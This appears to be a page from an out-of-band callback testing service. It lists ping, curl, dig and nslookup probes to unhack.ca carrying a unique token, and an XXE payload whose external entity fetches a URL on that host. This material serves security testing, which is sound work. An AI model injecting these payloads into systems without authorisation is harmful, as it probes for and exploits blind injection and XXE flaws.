$ ping -c1 -p 00c44b43c9dc7a82fbaefcd37ac74000 unhack.ca
 
$ curl http://unhack.ca/p/c44b43c9dc7a82fbaefcd37ac740
 
$ dig c44b43c9dc7a82fbaefcd37ac740 @unhack.ca
 
$ dig c44b43c9dc7a82fbaefcd37ac740.ns.unhack.ca
 
C:\> nslookup c44b43c9dc7a82fbaefcd37ac740 unhack.ca
 
<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/c44b43c9dc7a82fbaefcd37ac740">]>
    <foo>&xxe;</foo>
Waiting for ping...